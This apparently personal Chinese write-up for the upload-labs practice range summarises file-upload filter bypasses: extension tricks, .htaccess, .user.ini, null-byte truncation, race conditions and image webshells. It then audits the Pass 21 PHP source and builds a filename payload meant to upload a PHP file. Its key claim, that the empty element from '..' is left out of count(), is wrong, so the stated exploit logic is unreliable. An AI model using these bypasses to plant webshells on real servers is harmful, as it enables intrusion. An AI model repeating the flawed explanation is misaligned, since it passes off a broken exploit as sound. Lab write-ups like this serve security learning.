又成黑名单绕过了;

可以自己取名文件名,判断用的是自己取的;

不多说了,大写就能绕过;

做个简单的总结吧;

黑名单绕过总结

黑名单一般考虑从后缀绕过下手,考虑特殊写法诸如php3一类的;

之后的一系列,.htaccess,.user.ini,::$DATA,正则匹配绕过;

白名单总结

这就要看条件了,如果能控制文件上传的路径,可以考虑空字符截断的后缀绕过;

如果能利用文件包含,可以考虑隐藏木马于可利用的文件上;

如果可执行文件在服务端能够一闪而逝,可以考虑使用条件竞争手段;

两类文件上传绕过都应该考虑对文件原始内容的检测,如检测关键字php,检测图片大小,二次渲染,做好正则绕过;

更多的,针对于以上这些漏洞,前提一定是php和apache的版本对应,版本不对,漏洞也就不复存在了;

P21

这道题按成一道审计题来做;

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}

$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}

逻辑:判断content-type,之后判断文件后缀,使用白名单机制,无法利用条件竞争和图片马,所以这道题绝对是后缀绕过;

只是这是白名单,如何实现后缀绕过呢?

它这里将file打散为数组,以点分割,即为前面的内容以及后缀名,这就是漏洞所利用的地方,正则绕过的一种;

运行过程:
try

可以发现,在file这段部分是利用的重点,因为最后一个png是无法改动的;

第一想法是利用空字符截断,那么要解决的就一个问题,如何在第一个元素中塞进.这个符号;

但尝试之后是不现实的;

另一个思路,end函数和count函数,它明明可以在拼接的地方就用end,为什么非要炫技写count-1索引呢?

因为学C这种强规则性的语言学傻了,php的数组它不需要是连贯的!

如令$file[0] = ‘name’, $file[7] = ‘gg’,count计算下来是2!!!

利用这个思路,让count-1去提取php就行了;

构造如下内容:

1
file.ggez..php.png

那么

$file[0] = ‘file’

$file[1] = ‘ggez’

$file[2] = null

$file[3] = ‘php’

$file[4] = ‘png’

end函数会提取png去比较,而count计算的时候只会计算出4,null不计入!

所以4-1=3,提取php进行最终的拼接,完成后缀绕过;

但对于有些php版本,还是会把$file[2]给计入count的计算,所以可以用bp抓包进行POST传递数组的方式:

post

总结一下吧,很多不同的漏洞呢,实际上都和php绕过有很大的关系,是相辅相成的;

代码审计的一个目的就是快速找到php代码中可以利用的部分,就如这道题的end和count一样,并没有很快的就发现这个利用点;

至此,文件上传漏洞及其labs结束;